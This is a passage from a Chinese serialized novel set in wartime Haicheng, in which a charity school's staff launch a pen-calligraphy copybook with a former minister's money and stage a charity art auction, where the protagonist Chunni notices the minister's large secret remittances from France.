大伙都懂,王老师的言下之意,是随便弄个什么项目糊弄他,把这一千块钱骗到手就算完事。 毕竟,这个所谓的项目,还是昨天在宴会上见到付鸿民之后,方校长一拍脑子想出来的,现如今大伙儿都还一个都摸不准头脑呢。 方校长便将昨天春妮在宴会上忽悠他的那套言论照搬出来,道:“人家好歹也曾经是一方大员,虽说不知道为什么他没跟着一起撤到双城,但说不定什么时候又起来了。万一的话,咱们不是平白得罪一个大人物?” 春妮心道,这就是有家有产的坏处。要是她孤身一个,别说一千,一万块钱也骗了就跑,可惜啊,他们有这么多人要顾惜,行事不免要优柔几分。 王老师就问:“那你们觉得,姓付的还有几个钱?咱们万一画的饼太大,他觉得吞不下去,被吓走了可不好说。” 这倒是个值得推敲的问题,林老师就问:“种地能像付鸿民这样过得这么潇洒?随手一抛,就是一千块钱。” 韩厂长就勾了勾唇角:“那家里至少得良田百万亩,才够一天一千块的花销。” 林老师咂舌:“百万亩?这是要把整个明州买下来不成?不能吧?” 在坐的人中,只有王老师和林老师出身城市,不知道农村的情况。 春妮和韩厂长来自小村庄,最有发言权。 春妮只说:“在我们那,两块钱大洋可以买一亩地。付部长一挥手就是五百亩地,能吓破王地主的胆子。” 方校长家里原先是近郊的小地主,不说每天有白米吃,至少也该不愁吃喝。 但方校长说:“光靠种田能随便挥霍?别开玩笑了。跟你讲,大前年,我们那小旱了一场,粮食减产,那一年除了佃户交的租子,我们完粮纳税,还倒填十几块大洋给县里交上去。”他叹道:“四海无闲田,农夫犹饿死。不管什么时候,种田都是最苦,来钱最慢的。” “那付部长?” “哎呀,你们老琢磨别人钱怎么来的干什么。他今天给了一千块,那肯定至少还有一千块。你们就按一千块的规模给他找个项目出来,成不成的,咱们也算尽了心力。”半天说不出个一二三,校长急了。 有了睡美人的事在先,这次的投资,方校长和春妮都不打算弄得声势过大,一千块钱在豪富云集的海城,是个水漂都打不起来的数字。他们再比照这个数字追加一些,倒是正好。 几个人闭门研究半天,最后林老师提了个建议,说他家里有一付褚遂良的仿贴,正好学校有印刷厂,他可以贡献出来,请高手拓印成铜版,制成书法字贴售卖。 卖字贴,说出去又好听又不打眼,倒是不错。 他的这个建议还触发了春妮的另一个灵感。 她问更熟悉印刷厂业务的林老师:“现在市面上有没有钢笔字贴卖?” “钢笔字贴?没见过。” “那咱们卖钢笔字帖吧。现在小学生们写字都开始用钢笔,咱们做钢笔字帖出来,也是顺应了政府普及硬笔书法的要求。” “好想法,可这个字帖,咱们找谁来拓?”韩厂长说着,众人的目光集中到了林老师身上。 现在玩具厂的拼图玩具不定时推出的新品,几乎都由林老师先临摹出来,再制成彩版,印出来发售。 他们的拼图玩具已经是一个相对成熟的产业了。 林老师笑了:“你们哪,真是舍下灶王求山神。”他点点付鸿民留下的名片:“这位大教育部长,总不能真的只出点钱,其他的,什么都不管吧?” 众人恍然。 韩厂长笑道:“还真没想到这来,习惯了什么都自己做,忘了这回不一样了。” 方校长笑道:“习惯了高大海,倒是忘了这位付部长跟他不一样。” 说起高大海,大伙又是一阵沉默。有些人,他在时不觉得如何好,等他走后,有了后边这几个合伙人的好处,才知道高大海的好处。 人有时候就是一口气顶着,那一口气泄了,马上就塌得不知道哪去了。高大海在时,他们学校买粮食不用操心,现在么,学校的食堂采买交给了李德三。这家伙成天在各处码头上转悠,买不买得齐,得看天意。 何况现在粮商奸得要命,买来的粮食淘出来一小半都是石头。为此,学校不得不多聘了一名妇人专门淘米。 有时候他实在买不到粮食,厨房只能往窝头里多团点野菜,混个肚饱,嘴里尝到点咸味就不错了。也幸好海城临海,学校至少不用操心买盐的问题。 光是这两千多张嘴巴,已经足够为难他。所以,买煤的事,春妮不好再放手。 后边再去张庄,春妮跟王大嘴和王保全又见过几回面。村长竟真看在大嘴的分上给他们每公斤再便宜了三厘,这是喜事。 叫人唏嘘的是,大嘴说,赵大麻子在来海城的路上,染上痢疾拉死了,还有陈有根,刚旱那会儿,卷了寨里一些粮食,自个儿悄悄跑下了山,多半也是死在哪了。 春妮想起才从家乡逃出来那阵子,她碰到这几个伤兵,彼此扶持相携走出那百里黄泛区,想起那会儿大嘴对她和夏生的照应,对他话里的不尽不实之处没有再追问下去。 “听说,高大爷回了乡下,应该比城里要好吧?” “至少不愁粮食吃。”王老师说了一句,大伙又沉默了下来。 高大海愁不愁粮食不好说,但外边哪里没在打仗? 否则租界人这么多,物价这么高,为什么大伙都挤在这不走,人还越来越多? 无非是因为这里不打仗,躲在这里,日子苦是苦点,至少不用担心哪天枪子飞过来要了命。 ………… “雅业?听上去有点意思。”付鸿民叼着雪茄,将摊开的计划书扔回到茶几上:“你们想让我推荐谁来写字帖?” “这……我们哪有您清楚?”方校长笑着说:“就是我们合计了一下,我们小学生写字,首先力求端正。这本字帖既然是给蒙童所用,当以楷书最好。若是能有名家范写,适当提升一下字帖的名气,当然更妙了。” “有道理。”付鸿民一支雪茄抽完,问道:“那一本字帖,我的分红是多少?” 事都没谈妥先要上价,什么东西! 方校长暗骂不已,僵笑道:“这个还要等字帖写出来,付完润笔费,找到最好的制版师傅制出雕版,计算完成本再说。” “哪里要这么麻烦?分成不都是按净利润分吗?”付鸿民很老道地说:“干脆一点,五五分怎样?” 不过是找人写个字帖,你就要五五分,还干脆一点,你干脆去抢好了! 方校长为难道:“这……钢笔字帖以前没有人写过,我们也不清楚它会有多大的利润,还有市场宣传。对了,我们不准备光是印刷以前的旧字帖,小顾老师您记得的?她建议我们的字帖用那种半透明的硫酸纸,这样方便摹写。可我们算过了,市面上硫酸纸比普通纸张造价昂贵,而且不是很容易着色。如果用新纸的话,改良纸张的配方是必然的,这又要一笔研究经费。对了,付先生,我还没说,若是请名家来写的话,您只投资一千块钱,真的不太可能够啊。” 付鸿民:“……一千块印一本字帖都不够?我那天还捐的一千块——” “已经给学校都买了过冬用的煤,托您的福,我们还造了个锅炉,让学生们以后随时能喝到热水了。我可是跟学生们说了,这都是付先生——” 付鸿民摆摆手:“好好好,别说了。周景山你知道?我等会儿写个条子,你去找他。” “您说书法大家周景山?他老人家也什么时候也来了海城?”方校长大喜过望,忽而又犹疑:“可我听说周老先生的眼睛……” 周景山是当世有名的书画大家,他不止毛笔书法了得,前朝覆灭之后,西学之风渐盛,老人家打破门户之见,主动练起了钢笔字,一手硬笔字也十分有名。然而传闻其晚年患了眼疾之后,几乎不再执笔。若他愿意为字帖写范字,那他们的字帖定然会未卖先火。 “就是他。”付鸿民道:“他来海城求医之后,眼疾已经好了不少。对了,你去求字,不要一开口就说要买。你不要提我,只说这些字帖的收入全部用来补贴学校学生,那老头就是还瞎着眼睛,也肯定会答应给你写。” 方校长:“……”是不是想当大官,首先要够不要脸? 第123章 123 名气 跟付鸿民合作开发的字帖赶在年前, 海城中小学生放寒假那会儿上了市。 本来周景山老先生很爽快地写了范字,海城有的是雕版高手,只要出的价钱合适, 做一副好雕版, 一点问题都没有,然而,好事总是多磨。 方校长那天在付鸿民面前说的话,不全是编来周旋他。春妮建议的硫酸纸造价过于昂贵,华国工业几乎等于无。因而,浓硫酸也不易得,而且那纸一般用铅笔来绘制建筑图纸, 韧性太差,钢笔笔尖一钩上去就是个小洞, 做描摹用的纸还差点意思。 如果能有其他材料替换,自然更不错。 他们找了几家造纸坊,最后是杨大强从油印的蜡纸上得到灵感,几人将蜡纸放在磨石上反复打磨, 制出一种可以使墨迹顺利附着的蜡光纸,才解决了这个难题。 那年杨大强爷爷被倭国人当街打成重伤去世之后, 他被方校长招到学校印刷室当半工半读的油印工人,他利用蜡纸的特性钻研出了独到的彩印方法之后,就被方校长破格任命为印刷厂的技术主管, 如今他手下也有了两个学徒。 玩具厂发展起来后,印刷厂也沾光换了几台新设备, 加上吴江大学以前淘汰下来的旧印刷机,日夜不停的话,一天至少可以印一千张四色拼图纸张。一千张彩色拼图看似不多, 但现在通行的彩印均是套印技术,若一张图有三种颜色,比起单色印刷,至少要多印三次,若有五种,则要套印五次,以此类推,彩图的颜色越多越繁复,套印工艺越复杂。印一千张四色拼图,比单印四千张单色印物需要耗费的时间人力只能是更多。 一本小小的字帖,他们现在已经有了实力自己刻自己印。 描摹用的蜡光纸解决,字帖才真正付梓发行。 正好逢着大年下,大人办年货,给孩子买一本字帖当新年礼物,也算应了节气。 此时,作出这等丧心病狂营销策划的春妮等人,完全不觉得,自己等人的未来将会受到多少海城中小学生扎小人诅咒。 借由这本字帖,校长他们结识了大书法家周景山先生。 老先生听闻学校在不靠别人的情况下收留了两千多个孩子免费读书,深为动容。不顾病体未愈,将校长和春妮几人介绍给他的朋友们,请他们有空上门为那些学生们作指点。并承诺他们,等年后天气暖和一些,他组织一场义卖会,所得将全部捐献给他们的学校。 周景山的圈子来往的,能是一般人? 学校在赶制字帖的工夫,方校长被带着认识了一圈这个国画大师,那个印章大家,还有那个…… 到字帖发售之时,校长已经在海城的文人圈子混出了点小小名气。 方校长与周老先生因字帖结缘,因而每每被人介绍,必要先说一说那正在赶制的字帖。几次聚会下来,他许诺过不下十位大家,等字帖试印出来,将会先送到各位先生案头品鉴。如果先生们喜欢,还请留下墨宝推荐云云…… 于是,校长转悠几圈下来,他们的字帖有了周景山先生写范字,钱松龄先生写题跋,孙允祥先生绘制封面……这本华国成立以来的第一本硬笔书法字帖,注定不会平凡。 春妮在其他方面迟钝,但她听韩厂长将这些题字的画画的大师们都给她介绍一遍,便模糊明白了要紧处。等试印本下来,她豪掷三块大洋,先买了十本,吓得夏生以为自己又要加练,晚上硬是没敢回家睡觉。 其实春妮完全是囤积癖发作,她是意识到这本华国第一版的字帖的价值,提前多囤几本当投资了。 以校长普及教育的心态,这样一本名家专属订做的字帖才只卖三毛钱一本,便宜上天了好不好?现在一本软皮笔记本都要两毛多呢! 然而,这本字帖书的身价会不会涨,是以后的事。字帖上明打明写的钢笔字帖,光是“钢笔”这两个字,就先拦住了多少没有钢笔的人家。这年头,一支钢笔少说都在好几块钱以上,这个价钱,买普通的毛笔,能买好几支了。 海城读书人虽多,舍得多花一笔钱买字帖练字的人家又不多。加上现在学校的财政不再那样紧张,校长一心韬光养晦,这本意义非凡的字帖在问世之初只是按照常规程序,由他们跟书店谈妥,夹在一堆字纸中,正常摆在店中售卖,不像睡美人的浩大声势,除了字帖发售那日,请几名文人在报上捉刀写了两篇软文之外,一分钱的宣传费用都没多出。 如此,仅是年前这几日,仍然卖了近一千本之多,各大书店商铺相继发来库存告急,让他们加急送货。 幸好有去年卖多米诺的经验在,方校长考虑到几位大家的名头,原本就印的不少,再紧急让工人加班,总算顶过了年前这一拨小高峰。 只是几天功夫就卖到将近一千本,也着实有些吓人。方校长抽空让几个学生去书铺里打听,怎么卖得这样快,才知道原来好些人家听说有钢笔字帖卖,一买就是好几本,有的大户人家成摞成摞地朝家里搬。买字帖的人有相当一部分不是给孩子买,而是自家买来用的。 书肆老板问起,那些人就说,现在政府公文大部分都以钢笔书写,以前市面上没有钢笔字帖售卖,大家各写各的,没个标准,不知写的讨不讨上官欢喜,现在有了字帖,照着上面的写,便是不出挑,也总出不了错。再听说写范字的是周景山老先生,那还有什么好说的?买啊! 周景山擅写行草,他的楷书字还没有多少人见过呢。 要知道,大总统都曾求过周景山老先生的字。总统喜欢的字,自己照着练总不会有问题了吧? 商家都是趋利,见到字帖好卖,当下有不少书肆将剩下的存货摆在显眼处, “民国第一本硬笔字帖”的名头一打出来,又迎来了销售的小高峰。 不止是自己买,亲戚朋友,上司下属,家里有小孩的,人人一份,个个不空,自然多多益善。家里没小孩的,写文书,做笔记,想练字的有字练,不想练的,放在家里欣赏,也是一件拿得出手的雅物。何况它定价三毛钱,平民百姓少买两斤糖,这钱便省了出来。过年走礼,说出去好听,送出去也有面子啊。 学校字帖的问世,正好填补了市面上的一项空白。 如此,这个年一过,到了三月间,周景山钢笔字帖的名声已是传得很广了。江南文风重,如金城,明州这些周边大市的书商听说之后,打听到学校地址,纷纷找上门来求购。新鲜印出的字帖还没走出校门,便全卖了出去。 没想到,他们的睡美人经营了一个夏天,影响力还没怎么出海城,倒是钢笔字帖先一步在周边铺上了货。 只是三毛钱一本,就是卖出一万本去,也最多一千块钱的纯利。比起睡美人,这个钱少是少了些,但是,赚得既不扎别人的心,又不扎自己的手,借此,学校拓展了人脉圈子,还是个细水长流的生意,除了付鸿民可能不满不够赚之外,学校里,从方校长到林老师,个个都觉得这生意再划算不过。 而且这个年代,制版开印刷公司的成本不小,仿制盗版的成本也不小,他们原本就把利润压到最低,就算别人想盗版,也没几分利可图。 因而,字帖也不用担心盗版问题,可以敞开了印。至少,在江南不用担心。 原本年前付鸿民听说钢笔字帖定价如此便宜,还有所不满,招方校长去问了一回话,方校长按春妮教的,什么销售曲线,什么顾客心理分析等云里雾里的话砸下来,末了再扣上一句“初等教育惠及普罗大众”的高帽子,让付鸿民总算停止了唧唧歪歪。 不过这老头子天天入花丛,夜夜做新郎,并没有多少时间去盯着这桩他一时兴起投资的小生意。他会想起来过问,无非是年节走礼之时,跟昔日的同僚朋友们吹嘘起来有内容罢了。 那些人听说他成了赌坊的股东,明里不说,暗地里哪个不鄙视唾弃?现在他投资了字帖,往小了说,这是他付某人关心教育,关爱孩子,往大了说,也是他下野不下心,时时在为国家的下一代忧心。 年后字帖见了利,付鸿民又招方校长去问了两回话。 一回是字帖能不能提一提价,再就是,还有什么说出去好听,又能赚钱的新项目别忘了知会他。 第一条自然不可能同意,东西好卖一些就提价,那是奸商所为,只要方校长还要名声,想也不用想。到时候,主意是付鸿民的,得利也是付鸿民的,挨骂的是学校,想什么美事呢?第二条,方校长唯唯答应,回头便带着春妮几个得力干将,帮着周景山先生将义卖会红红火火地办了起来。别说没有新项目,就是有,也要为义卖会让出一射之地。 周老先生肯拖着病体为他们学校扬名募款,哪怕只是空摆了一个席面,他们也必要认认真真,竭尽全力将这场戏唱全唱好。 别看海城天天灯红酒绿,电影院戏园子出了新戏就满座,但论及书画义卖……也就是周先生连同几位都在海城的书画大家联名,才能有名流愿意捧场。 海城的底蕴差了一些是其一,再者,乱世黄金,盛世古董。战乱时代,人们手上有些钱,都去储存黄金白银这些硬通货去,谁会去买不好存放,不好收拾,更不好变现的书画? 包括春妮自己,手里有闲钱,也绝对会先藏黄金。 前几年,华国一名经史大家在海城病逝,他的家人欲将其手书作价卖出好还债,一共二十六本的手稿也才卖了五百块钱。这位经史大家即使在春妮的年代,也是如雷贯耳,语文课绕不过去的一位大学问家,然而其一生心血的书稿卖得的价钱却只有区区五百块,搁在车行,连个车轮子都买不到。 故而虽有周景山等几位大家的名头,春妮等人心里对这场义卖会最终筹得的善款并不如何乐观,但这是老人家对学校的心意,这次义卖的场子也是主人家免费借给他们使用。看在这些善心人士的份上。她按照计划,将该请来的人都请了过来。 江致清,符律师,纳尔逊,付鸿民,还有周景山,钱松龄等国学大家……几位学校创始人离开后,不知不觉,学校凭借自己的努力,也积攒了这么多人脉。 随着来宾们一个个进门落座,义卖会终于进入了正题。 第124章 124 遗漏 抗战以来, 海城教育界数度遭遇倭国人打压拉拢,为了早日施行奴化教育,但凡有些名望的学问家教育家, 无人不被76号那几条恶犬骚扰过。除非实在被家室拖累走不了, 大部分如张常几位先生那样,早早就悄悄撤到了外地。而教育界跟文化界一向联系紧密,教育界的人跑了,文化界至少失去了半壁江山。 倭国人向来重视文化管控,若非如今位于南城的华国汉奸政府即将成立,在大汉奸王季新的号召下,总算招纳了不少闻风而降的软骨头, 使得海城这边压力稍减,这场义卖会也是办不起来的。 像这样规模的义卖会, 自抗战后,海城已是有两年多没有再举办过。纵然如此,来的人也只是将座位堪堪坐满。表面繁华终究是虚的,一场义卖会便将海城这空中楼阁般的盛世打出原形。 江致清跟方校长叹息:“海城局势一日比一日败坏, 我的那些老朋友们,还活着的, 都离散在各地。不然,周老先生的义卖会,哪里至于冷清至此?” 然而, 话音未落,一群穿着各异, 十七八岁的孩子涌入会场,你唤我哥哥,我叫你妹妹, 没一会儿把拍卖会剩下的几个角角落落的座位全部占满不说,还余下十几号人,都站在过道上,硬是站出了“摩肩接踵”“指插不进”的效果。 江致清一顿,果然看见学校那位大名鼎鼎的小顾老师在人群中跟为首的男孩子打了个眼色。 他一颗心马上定了下来。 听说此次义卖会,周老先生会同几位朋友,准备了大小共六七十幅拍品。江致清跟周老先生是朋友,担心卖不了这么多拍品,老先生下不了台,他私下里叫了好几个人,打算看情况不对,自己多出些钱,不能叫老先生一大把年纪,还丢这样的面子。 江致清坐下来,身边不时有人来跟他打招呼。说话的间隙,姓顾的小姑娘身影在那十几个比自己高出一头的男孩子中间穿梭,看那模样,似乎是在向他们叮嘱什么。 不一会儿,满场都是那几个男孩大声的交谈:“一会儿都不许乱说话,周老先生都多少年没卖过字画了?咱们可得好好开开眼,等回去家里人问起来,也好跟人多显摆两句。” “就是,都记得庄重些。像周先生这样的大家,平时到哪看得到人家的真迹?哪怕买不起,坐在这好好欣赏也是福分。” “江山代有才人出啊。”江致清低声感叹。 若是这小姑娘怕义卖会卖不好,让这些明显是学生的男孩子当托来炒热气氛,或许有一些效果。但义卖会未免将会沦落到跟其他展会差不多的格调,都是邀买邀卖,无非是一个明,一个暗罢了。有他们开场前这几句话,其他人多少要以这几个男孩子为参照,不至于做出多失礼的行为。 如此,人的心态一端正,再对待义卖会,就不会再单纯以为是参加一场不过 是变相掏钱的活动,而是抱着欣赏艺术,而且还是看一次少一次的那种心态来,从内心深处,就要珍惜许多。无形之中,拍品的价值在他们心中便上升了许多。 想来她是看这次来义卖会的人,有很多都是无甚底蕴,凭借海城内外不通,因为倒买倒卖而暴发的那群人,生怕他们打乱了义卖会的节奏,提前开始了控场。 听说这小姑娘转过年才虚岁十五,果真是后生可畏。婉玉翻过年来,都十七了吧?也不知有没有人家的一半? 对了,以后可以叫婉玉跟她多来往。 若是邀她来船行做事,该给个什么职位合适……年轻位高,还真有些不好安置。年纪大了,总是容易跑神…… 既然是周景山老先生组织发起的义卖会,自然要以他老人家的作品为主。 义卖会以周老先生书写的四字条幅作为开场,其后是孙允祥先生为义卖会专门画的《学府童子嬉游图》,再后是…… 大概是天生没有艺术细胞,春妮其实看不出这些书画好在哪,卖点在哪。她关注更多的,是那些来加拍卖会的人。有哪些人是真心想买,有哪些人不过是闻风而动,想借义卖会的名头结交人脉,达成自己的目的。还有哪些人不过是闲人凑热闹,纯起哄来的。 第一种人么,不需要春妮刻意经营,遇到想买的东西,他们自然会出手。第三种人么,春妮让李德三带着人,从其衣饰神态在侧旁观察,若是颇有家底又好面子,那不好意思了,既然来了,就别想空手走。 她自己重点关注的,是第二种人。既然想结交人脉,不出点血岂不是白费了他们这番钻营? 至于江致清这些社会名流,由方校长从头到尾亲自陪同坐在最前面最好的位置。他们这些有钱有名望的大商人,既然来了,多少都会拍个一两件,不令各方感到失礼,用不着她来操心。 因为请来了江致清,这位如今是公共租界华董第一人,其在海城商界及政界的影响力也不言而喻。就是冲着他来,这场拍卖会的规格也不会低。 因而,拍卖会从一开始,气氛就被带动得很热。 周景山写着“鸿鹄飞腾”的四字条幅很快被以一百八十块大洋的价格拍了下来,孙允祥先生的画也卖了一百五十块大洋。 一百来块钱看上去不多,但书画作品向来是尊死人轻生人,一副书画,多则数月,短则一两个钟头便能创作出来。转手就卖好这么些钱,其实已是相当不错的价钱。 从华国有数的书画家们,几乎没有人可以只靠写字画画养活自己来看,若非今天有周老先生的名声,加上江致清压场,这些拍品的成交价格至少还要再打两成下来。 再有李德三带着那些四散而坐的学生们,他们每每趁冷场之际帮着吆喝两句炒一炒气氛,总有一些兜里不差钱的主脑子一热跟着叫价买上一两幅。 按照春妮的经验,她重点关照的第二种人特征很明显。这种人穿着打扮华贵是必然的。再者,他们的目光必然多数流连在人,而非拍品之上。 其三,这些人若是出手,必然是跟风而起,随口叫价,自己并没有特殊偏好,借作品的热度为自己贴金,自然是出价高方显诚意。如果因为拍品竞价者多,自己“扼腕痛失”,正好不必付出一文钱,也不必丢面子。若是他们想结交的人有心仪之物,倒是可以拍下来借花献佛。 照此三条经验一筛,几轮叫卖下去,春妮很快找出了不少人。 其间,她的目光时不时掠过第一排贵宾席,发现了一件有意思的事。 照道理,能坐上这场义拍会前两排贵宾席上的人都是非富即贵,就是不为了让旁人看扁,也至少也要出手个一两次才好意思继续坐在这。 事实也正如春妮预料,到了义拍会的中后程,贵宾席上绝大部分人都至少有了一两年拍品,除了一个人。 付鸿民。 他叫价的次数不少,可到现在为止,就是没有买下一件。 这绝不正常,就方校长跟他打交道的次数来说,这位前教育部长岂止是不差钱,简直可说是挥金如土。 你以为他给学校随手捐出一千块钱够豪气了吧?其实私下里,春妮他们都戏称,这位前部长怕是浑身长满了肾。 因为方校长说,他跟付鸿民见面数次,次次他身边陪侍的女人都不一样。这些女人中,起码有五六个被他花钱养在小公馆里。这么些女人,光是做衣裳买首饰都是一笔惊人的支出,更不论他还听说,付鸿民时常做东请人去听戏吃席,算下来,一个月几千的花销都是小意思。 最近付鸿民因为卖字帖的事,在文化界的名声稍微变好了那么一点,被邀请参加了一些文化界聚会。这些聚会有时也会交换买卖一些绝版书籍,他时有出手,并不小气。 可为什么偏偏在周景山主办的义卖会上,他掉了链子,迟迟不出手? 付鸿民此人,除了脸皮厚好色,其实城府没有多深。春妮观其今日所行,他的作风,跟她总结的第二种人很像。 譬如,义卖会途中,他频频去看贵宾席中另一人,甚至不惜越过坐在中间的江致清,伸着脖子几次同一个叫陈济的人说话。 贵宾席的人春妮都是下过功夫了解的,她知道,陈济是海西人,跟春妮的父亲一样,家中世代经营茶园,因而,他在海城有一间大茶行。海西茶业多数出口外洋,在海外享有极高的名声,他们家乡种植的正山小种红茶更是远销西欧,已有几代。 论起财富,陈济可能颇有身家,但厅中不乏巨富。他若真的只是空有钱财,为什么会频频受到付鸿民的关注? 应该是自己遗漏了哪里。 春妮暗自思索,回过神来,发现付鸿民忽然站了起来,正牵着袍角往外走去。 春妮心中一动,随之跟了出去。 此时人多数集中在拍卖厅中,她很轻易跟上了付鸿民。 他并不知道自己身后跟了人,而是走到门厅的转角处,跟一个人穿青色短褂,仆欧打扮的青年男子碰了面。 春妮听见他埋怨那个人:“怎么现在才到?再迟些,义卖会该结束了。” 那人道:“老爷,我今天一早就去了银行那边等待兑款。巴黎那边大停电,电汇迟了几小时,刚到帐我就赶紧给您送了过来。” “这次到了多少钱?” “二十万法郎,给您兑了一万现大洋,您看够不够用?” 二十万法郎,这相当于近二十五万现大洋! 还有,他说的这次…… 付鸿民做的什么生意,竟然一次能坐收二十五万现大洋?! 他什么时候跟法国人扯上的关系? 第125章 125 邀请 付鸿民是什么人, 春妮或许无法完全断定。但这几个月打交道下来,可以看出,他完全不擅于经营。 这样不擅经营的付鸿民, 却有可能有不止一笔来自国外的巨额汇款。这一笔笔的巨额汇款, 极有可能就是令他能够在海城挥金如土,广结善缘的秘密。 春妮本能地觉得,这里面有猫腻。 可惜这两人匆匆交谈了这两句,付鸿民再次回到了义卖会拍卖场。 再之后,春妮熟识的那个付鸿民便回来了。 他一举拍下鲁远大师的田黄石印章,又买了一幅花鸟画,最后压轴的周景山巨幅中堂没有拍到, 但也花两千块钱,买到了江致清捐赠的前朝画师所画的《猛虎图》。 义卖会结束后, 他亲热地揽着陈济的肩头,两人哈哈笑着走了出去。 因为这次准备的拍品数量多,质量却良莠不齐,义卖会原本作出了有拍品可能会流拍的准备, 没想到所有拍品全部被拍完。周老先生的义举,成功为学校筹集到了价值超过八千块现大洋的善款。 八千块听上去多, 分摊到每个学生身上,还不到四块钱。这点钱买白米吃,堪堪十斤, 再附送二两砂子。 但大洋在市面上一向抢手,义卖会上买书画的人, 很少有这么多大洋兑换,有一些用法币,还有一些用其他货币。钱币兑换之后, 这部分的价值又要折下来一些。 但这年头只要能吃饱,谁还管白米不白米,没得吃的时候,最便宜的糠秕混玉米棒子都吃得,这已经是预计之外的巨财。 学校老师和学生从上到下个个喜气洋洋 ,校长拉着周先生等几位大师,感谢的话说了又说,原本想掏钱请老先生吃饭答谢,老先生自然是拒绝了。 不过周老先生答应在海城逗留期间作他们学校的书法顾问,定下每周为学生上一节书法课的课程,还有几位书画大家也答应有空为学校学生来上课。 其实这些书画大家们来学校上课,象征意义远大于实际意义,但只要他们肯来,不愁学校没有跟他们加深关系的机会。这些人可能本身不那么有钱,但通过他们,就有机会进入更顶级的圈子,从而为学校募集到更多款项,获得更多资源。 方校长原本不耐烦跟人交际应酬,只是为了学校勉力为之。恰好这些大师中,亦有许多脾气孤僻怪异的人,讲究君子之交淡如水。方校长让林老师帮他捉刀,逢年过节书信一封,薄礼二三,不过分骚扰,反而对了他们的脾气。 慢慢地,他们若是出席什么活动,有时也会愿意带挈方校长一把,要么带他同去,要么帮忙宣传学校。 有他们帮忙宣传,学校吸引了一些真正有余钱有善心的人家来参观,这些人可能不那么有钱,但很多人参观之后,表示愿意资助学校一两个品学兼优的学生,供他们完成学业。 还有一些企业听说大名鼎鼎的“睡美人”是经过学校学生的手做出来的,竟无形中提升了他们在职场上的竞争力。这些企业选择一些基础扎实,学习用功的学生提前资助,学生们需要做的,则是同他们签订合同,毕业之后去对方工厂工作。 不过这是个朝不保夕的年头,资本家都是逐利的。即便他们提前看好一些学生,资助的绝大多数也是年纪最大,即将在六月份毕业的那一批。学校刚收的那批小萝卜头,还是要靠他们自己来养。 对于这些企业类似挖角的行为,校长不止没有不高兴,反而还乐见其成。学校有相当一部分工人将会选择在温南招募,不可能有那么多学生愿意跟着搬到大山里去。随着工厂的悄悄搬迁,以后还会更多学生滞留。这些留在海城的学生光靠学校在海城的这点产业,根本无法消化。 现在有慧眼识珠的企业愿意提前投资,再好不过。 关于工厂搬迁的问题,山下友幸作为监事,对这样的重大事件自然也是知情的。但他知道的,是工厂将会搬到明州,所以,在接下来的搬迁中,工厂的绝大部分机器会落户到明州,只有一小部分会真正去到它们该去的地方。 但工厂整体向好,今年必定会扩大生产规模。校长和春妮他们早就决定,新增的机器设备将会放到温南。 而整个三月,因为天气回暖,道路变得好走,除了在忙活义卖会的事,主要就是搬迁和定制新机器。当然,这一切都是瞒着山下友幸进行的。 自从他去年秋天在学校里忽悠学生,希望他们到津市倭国人的企业做事之后,有几个学生竟真的被他说动,打算去津市看看情况。校长知道后,来了个釜底抽薪之计,他通知那些学生,说不按课时毕业的学生,学校将会按照规定,予以旷课处理,旷课超过一定课时,将会直接开除或劝退。 学校兴办这么长时间,就连像严广福那样染上恶习的学生都没被开除过,校长突然要放这么狠的招,当即吓住了那些学生们。 学校虽然开设的有一到三个月的短期班,但木工手艺速成不了,因此,学木工的学生学校统一要求最低两年毕业。 哪怕那些现在在学校工厂干着的工人,他们身上也挂着学生的名义,不忙的时候,还要去学校把课补回来呢。这个规矩,是工厂成立之初就立好的,没人敢有异议。 学历无论在什么时候,都是相当有效的敲门砖,反正最近一批毕业的学生在六月份,不剩下多少时间,那些心思有所浮动的学生们很快重新安定了下来。 校长原本防备着山下友幸有其他动作,但他一计不成,从那以后,竟然哑了炮。又过了几天,竟然开始迟到早退,等到寒假放完,义卖会开始,几乎一整个月里,没两天能看到他的人影。 也不知道,他是被别的事牵走了心神,还是真的放弃了原来的打算。 反正他只是工厂股东的监事,正常工作只是需要监察一下工厂的财务和重大决策,原本就不需要每天来坐班。他盯得不那么紧,学校开心还来不及,更没人去过问他的生活。 他们只知道,山下友幸后来出头组织了一个互助小组,邀请那些生活有困难的学生加入小组,将自己的困难向小组成员倾诉,让大家拿出方案互相帮助,互相鼓励。 这种小组有点像海城工厂内部普遍流行的基督姐妹互助会的形式,工厂里那些参加姐妹会的工友们定期组织谈心会,互相倾诉生活与工作中的委屈和压力。如果有会友遇到困难,也会伸出援助之手,提供力所能及的帮助。抛开它的宗教色彩,这样形式的互助会,对于那些生活苦闷,工作繁重的工友们而言,是不错的发泄和心灵寄托的途径。 最开始,有人顾忌到这个互助小组由倭国人成立不敢加入,但山下真的从此撂开了手,并没有参加过互助会的日常活动,时间一长,聚在小组,有困难的学生们慢慢多了起来。 学校不鼓励学生信教,一直没有人想起来组织这方面的互助会,倒让山下友幸钻了这个空子。毕竟学校只能勉力帮助学生完成学习,学生们生活和家庭上的重负,学校能帮的很有限。 因为他不是拿钱去收买人心,校长他们自然不好强硬干预,只是安插了几个学生加入小组,观察小组成员的动向。 据学生们反馈回来的消息,这个小组真的就是个单纯互助的组织。他们每周日举行活动,活动地点有时在宿舍,有时在学校,视情况而定。除此之外,跟学校其他学生的小团体没有哪里不一样。 学校每天面临的事情那么多,不可能时刻关注这个默然不出声的小团体。一段时间之后,校长除了让学生们定期汇报他们的聚会内容,不再随时盯着这个互助会不放。 他们有别的麻烦需要解决。 学校与出名带来的名气相比,随之而来的,不是没有坏处。 比如学校面临的摊派多了起来,每个月的救火费也翻了番。尽管巡捕房的人是怕了春妮他们,但作为基层,上面有命,他们只能硬着头皮来收钱。 春妮他们也不可能什么事都硬顶着不配合,只能派出王老师,韩老师等擅作水磨功夫的人才们去跟工部局那些老爷们打交道,帮学校争取利益,而校长则更加努力地去结识权贵,以期在这样的时局中获取更多的筹码。 春妮就是在这样的大环境下接到江婉玉的聚会邀请。 江婉玉,是江致清的第二个孙女。 在此之前,作为工厂不可获缺的人物,不是没有其他人单独邀请她聚会。但她每天这么多事,哪有功夫陪他们这些富人们嬉游?除了校长要求的之外,其他的,她均拒绝了。 而义卖会筹集到的款项和校长年前密集参加宴会取得的成果不错,这段时间校长也不再对春妮作类似的要求,她乐不得轻松一段时间。 江婉玉的邀请,春妮本想拒绝,但想起前些日子,江致清的助理曾代表他邀请自己加入江南轮船集团,她拒绝了。这会儿再连着拒绝她的孙女,怕是人家会有误会,只好接下请柬,答应下来。 而这个时候,她也没想到,在江婉玉的聚会上,她还能见到一个以为再也不会见到的人。 第126章 126 局势 在接到江婉玉的邀请之前, 